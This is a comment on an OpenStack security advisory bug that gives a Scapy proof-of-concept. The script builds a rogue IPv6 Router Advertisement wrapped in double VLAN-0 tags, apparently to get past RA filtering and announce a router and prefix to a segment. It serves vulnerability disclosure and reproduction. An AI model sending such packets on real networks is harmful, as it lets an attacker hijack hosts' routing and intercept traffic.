OpenStack Security Advisory

  1. Bug #1884341
  2. Comment #21

Comment 21 for bug 1884341

Revision history for this message
Etienne CHAMPETIER (champtar) wrote :

Cleaner example:

ifname='ens7'
ra = Ether(src=get_if_hwaddr(ifname))/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(ifname))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra, iface=ifname)